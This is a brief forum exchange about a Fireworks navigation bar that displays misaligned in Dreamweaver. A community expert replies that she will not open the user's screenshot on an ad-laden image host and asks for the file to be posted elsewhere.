HERE TO VIEW THE NAV BAR IN DREAMWEAVER
Can anyone tell me what is going on?? i really need to launch
the website ASAP.
Thankyou!

10totti wrote:
> Hi guys i still need help with my alignment problem! My
nav bar lokos good in
> the preview window of fireworks
>
>
http://img97.imageshack.us/my.php?image=nav1yp1.jpg
I hate being harassed by ads and will not review images on
the image
shack site any longer. Post the screen shot or original file
to your
personal site.
Linda Rathgeber [PVII] *Adobe Community Expert-Fireworks*
http://www.projectseven.com
Fireworks Newsgroup:
news://forums.projectseven.com/fireworks/
CSS Newsgroup: news://forums.projectseven.com/css/
Design Aid Kits:
http://www.webdevbiz.com/pwf/index.cfm

Css Center Align Problem

Similar Messages

Maybe you are looking for